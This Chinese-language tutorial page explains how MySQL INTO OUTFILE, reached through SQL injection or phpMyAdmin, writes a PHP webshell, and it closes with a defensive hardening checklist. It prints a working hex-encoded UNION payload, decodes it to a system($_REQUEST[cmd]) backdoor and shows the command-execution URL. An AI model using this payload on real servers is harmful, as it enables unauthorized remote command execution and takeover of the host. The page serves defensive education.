首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

⚠️ 安全警示:MySQL 注入生成 Webshell 後門實戰原理與防範

     編輯:MySQL 綜合教學

⚠️ 僅供安全研究與防禦參考,嚴禁非法攻擊

本文分析利用 MySQL SELECT ... INTO OUTFILE 配合 SQL 注入或 phpMyAdmin 任意執行,寫入 PHP Webshell 的攻擊鏈,旨在幫助開發者理解風險並加固防禦。

攻擊載荷解析

SELECT * FROM `vbb_strikes` WHERE 1
UNION SELECT 2,3,
0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E
FROM vbb_strikes
INTO OUTFILE 'c:/inetpub/wwwroot/cmd.php'

關鍵技術點

  1. UNION 注入:需知目標表列數、可寫目錄權限。
  2. 十六進制編碼:0x3C3F706870...3F3E 解碼為 <?php system($_REQUEST[cmd]);?>,繞過引號過濾與字符集問題。
  3. INTO OUTFILE:要求 MySQL 用戶具備 FILE 權限,且 secure_file_priv 未限制或目標路徑在允許目錄內。
  4. Web 目錄可寫:Web 服務進程對目標路徑有寫入權限。

生成的 Webshell

訪問 https://target/cmd.php?cmd=dir c:\ 即可執行系統命令,獲得服務器控制權。

防禦加固清單

防禦層面具體措施
資料庫權限應用賬號移除 FILE 權限;secure_file_priv=/var/lib/mysql-files/ 限制導出目錄
SQL 注入防護全站使用參數化查詢/預處理語句;WAF 規則攔截 UNION/OUTFILE 關鍵字
Web 目錄權限Web 目錄不可寫;上傳目錄禁用腳本執行(nginx/apache 配置)
phpMyAdmin非必要不暴露公網;強制 HTTPS+雙因子認證;修改預設路徑
審計監控開啟 MySQL 審計日誌;監控 INTO OUTFILE、LOAD_FILE 異常調用

編碼轉換工具

UltraEdit Ctrl+H 切換十六進制模式,可快速將任意 PHP 代碼轉為 0x... 形式。防禦端同樣可用此法檢測日誌中疑似載荷。

Webshell 生成示意

聲明:本文技術細節僅供藍隊防禦研究、滲透測試授權範圍內使用。任何未經授權的滲透測試、植入後門、竊取數據均屬違法犯罪行為,後果自負。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved